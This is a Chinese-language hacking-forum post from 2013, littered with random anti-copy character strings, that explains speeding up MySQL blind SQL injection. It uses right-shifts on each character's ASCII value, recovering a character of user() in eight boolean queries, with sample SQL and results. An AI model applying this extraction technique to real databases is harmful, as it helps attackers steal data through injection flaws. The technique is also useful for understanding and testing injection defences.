找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2110|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
  R9 O5 @* ~, @5 m# J. e. O
/ ~! _! _( B5 j; F0 B3 a' {7 m
6 d& c: n( U+ l5 d5 P* }* ]. P6 t8 K' l$ Z# o/ _
下面将以查询mysql数据库当中user()的第一位为例:3 I+ h3 d9 ~# Q7 ]
/ G0 `1 |! ]7 h2 I5 p
3 Z. W5 [* M) Z" T
3 \8 R' ^; g/ O3 ^$ H0 @
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)+ B9 ^! e4 ]8 p6 b* u
# H3 |+ `* {0 [7 G4 n6 d/ o* u! \: X
8 Z, l& G9 Y& g( Y3 ^; T9 E% \
1 P7 }; e3 q5 M* Q* j
首先执行如下sql语句:/ r7 H$ D; U$ `  [* V& _

2 C/ k+ g( y& ?6 ~0 I , e% J: p4 A  @6 A  z" ]5 G7 H

1 x8 Y" X9 V0 \: Q& imysql> select (ascii((substr(user(),1,1))) >> 7)=0;0 k* ?: _! C1 E$ r6 W* @7 a

' i) P" s# e; H7 U8 _! e 8 _3 Y5 h1 V$ k4 Y) n6 z; ~4 o
  @7 e# o  U: r+ _! U4 L- t
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
! Q! O  S# _4 D( {; C- W. s" k/ f2 \* c& T7 J. X1 ~$ |
3 S4 W% F# G/ J8 t0 x( I

6 _+ P4 H: T+ E- g第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
: N9 a; K" J) m
0 u/ B$ b8 m/ R9 s5 G& c* I # n6 ^- S+ `8 Y! I4 h3 R
0 c8 z, W0 ?$ C
如果运算结果为1,说明第一位为0,不为1
: k8 V' U. l  T, Q+ x6 d/ ^$ ^% [* F# y5 X6 ~

  H8 s) R7 D- U9 [" A# g8 J1 i# n! E9 t  J( V
+————————————–+
) i9 Q' S: T; w: i; ^& K3 A3 J* y& O/ d# y
| (ascii((substr(user(),1,1))) >> 7)=0 |5 w) m. ~5 [& E4 ?

+ i( g9 p) ~/ [( |: D1 M+————————————–+
3 q, m9 J( f& R5 t* X$ U
: {3 b6 T. P) C0 a0 F! e# g| 1 |& o; x4 Y/ F9 e2 y# ^

6 g; P( x* ?2 a* j# m5 l4 T# W+————————————–+, x8 ?7 V! P( z8 n" h2 h3 }

  F/ K( M1 G! s3 U( J$ s2 Y1 row in set (0.00 sec)1 f$ b% a/ R& T' i; j
" V" D8 T* K5 J3 ^
这样我们就确定这个8bit的ascii的第一位为0# j5 B# c; V' y8 t# q

* j$ w3 k" m4 N$ _  |/ p" ?2 m7 M
& x) {, F9 ]7 B6 w9 z2 ~2 m# T5 q$ R2 \8 M1 T* P
第二次我们来做6次右偏移来确定前两位
6 K+ Y8 @& ^& X
5 ?# J* S. i6 P& X) }2 G
9 q; ~4 Q: e& v. O: s. G3 a, F6 R8 y7 m) x- u
前两位可能是01或00,即依然可以与0做比较,
+ W0 F: {0 P, q8 u
" e( p8 w1 _( O/ Q5 fmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
; x" m) w8 {% [# v' J1 a1 a0 F* }' U6 P, k& F8 m
+————————————–+
1 [3 @8 B* S; o+ K
- `. T  y4 k2 ]# P| (ascii((substr(user(),1,1))) >> 6)=0 |
) Y" A. ]. V' ^" L
, P- q, t+ l( \% J" B/ J+————————————–+0 E. @# c8 ?; e8 Q0 m1 ^$ I' l& y
# @2 {) t8 n' I# ^/ M& X" d5 D' C% j
| 0 |, a' P. U( d, G% T  d

. [+ o9 n' f3 D$ ?" G$ b9 f+————————————–+1 _, n, T: u8 j- W5 V$ X
- v; U" A$ g& f2 Z9 \, {
1 row in set (0.00 sec)
( p; y" ?) x! D- z) m$ o- w4 R( @9 ^2 L8 H9 I: d

6 N2 u* x+ ~2 J4 o
. O1 Z  L# X+ N& W+ C# T1 _# b' ?结果为0,即第二位为16 K  ?1 n& m) z# B' ~0 V
5 E, |$ B1 ]& b( b2 r% ~" G2 {/ K5 c

- J, g! m: `8 x& U& g% o/ l; w6 V
开始猜测前三位为010或011' q2 T7 Z" h" i3 l
1 N0 _5 ?* }# q' v1 p. ]7 W
! S, M% @6 @2 k, u9 V. U5 X

9 w. H( M' b* H$ B3 ]6 `让我们看看010和011的ascii码是多少1 v. ]6 V  v' e$ K$ K, F
! N: j' }/ L7 f& g  w& Q/ c

) n/ A2 H% O: E. j' i- v$ C5 l* f1 e% X
分别查询select b’011′ select b’010′
2 {& B8 q3 j6 S/ M$ n/ ?  \8 v6 P0 E
) V+ Q/ K$ n( A) s

( Z+ c7 G9 k7 {( |+ w获得结果 010 = 2 011 = 3( ~2 w! G$ H. f* K5 L& I1 ?
2 u% g5 f% q  R, N- d+ L) A+ A
4 H3 m# C3 g% @5 e* R
/ u7 ~2 ~/ q3 C' C6 q! P+ H+ `- J
执行如下sql:$ x: c$ Z7 C8 f$ z+ g/ T. ?
% m; l( |  E5 L! a4 ~' l/ C

8 ?* _5 {; @7 d3 G: O$ U1 L" f6 k) C8 P/ U6 f
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;- s( @5 B! n; ~. z# t4 G( S+ t, R

0 _' |9 g& n0 H7 V, W" O$ \+————————————–+
& x9 I( Z+ |7 }) ]" |$ K. d0 T4 P
| (ascii((substr(user(),1,1))) >> 5)=2 |% h$ ~$ [3 S$ M. Y0 z  U

6 K& `2 X! L" O; ]5 r( b+————————————–+$ d* n% _) J7 J- V7 r

8 w/ |8 ?, m# I| 0 |# C; J3 O* p. P5 g% U
" V8 Q9 u  @' Z3 u) n3 I
+————————————–+- ?% Q1 r2 G* I- n  L% \- L
+ |: t$ B2 X+ T( {1 x* O2 w
即前三位不为010,而是011
. F6 E( I- ]) U& g2 S6 z0 r$ r4 z* x; d9 z, z
9 d/ y1 D  h! @' x6 T

6 d0 y0 y5 [3 O6 I直到获得最后一位3 C" S4 v3 S7 r  `# K

! B/ b0 A  i' i3 ~
  X7 O: K( X; o( a0 R- }
/ \3 F4 e1 V5 j# s/ \最终结果为:01110010
/ c! W) j( z* Q! e' c0 i  z: j* x( S; n
  @' s0 O- Q& |5 m# i
; F$ P) O1 F: ]
转换一下:
4 G! H5 E0 T* ?1 I8 k: e2 Y
" z0 C7 c# @- K2 | , F3 U/ A9 M7 L( P- g5 o' c7 e1 M

2 Q" ]. ]0 h/ lselect b’01110010′, A; ]& r2 `0 S
" z% I- ]$ D2 l0 E% \- [5 h1 H: I
$ ]0 \4 e4 p& t% b: k: Q1 \
  w: S" Y6 i% }& }: w0 b+ ~
查询结果& P  R$ N8 l& {

' [8 c' `0 Y4 a; H* D1 `' O& S& w1 D 2 p( I/ E& u, T- E& T

7 j7 D! t2 `: A! y+ F$ P+————-+
; M4 _* j' C$ [9 `! N6 A, }8 }0 `9 Z  _( k) q9 A
| b’01110010′ |
7 q" Q" Q6 I5 n: o1 n" K7 d: n3 z
+————-+% i9 c0 W+ Z1 j6 f
2 Z, @4 i2 f1 f: t1 n1 G
| r |9 o) H* @9 k- ~" z& t
2 F# N7 V9 Q) ]5 j2 w+ d
+————-+
. K: {) k) J* |) V4 p4 u) M8 n
! v& f; y9 ]2 V* p, a1 row in set (0.00 sec)# c6 a" y/ T) d; T* l

8 s% G. q# j8 F0 Q- J ( S# b- d3 Y0 a7 c( S

; r( [  @/ j/ F( b3 w# z4 T这样我们就获得了user()的第一位.其它位依此类推. Z: q; T2 E4 t8 I

' l. o4 `  [, H- J- n! j  l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表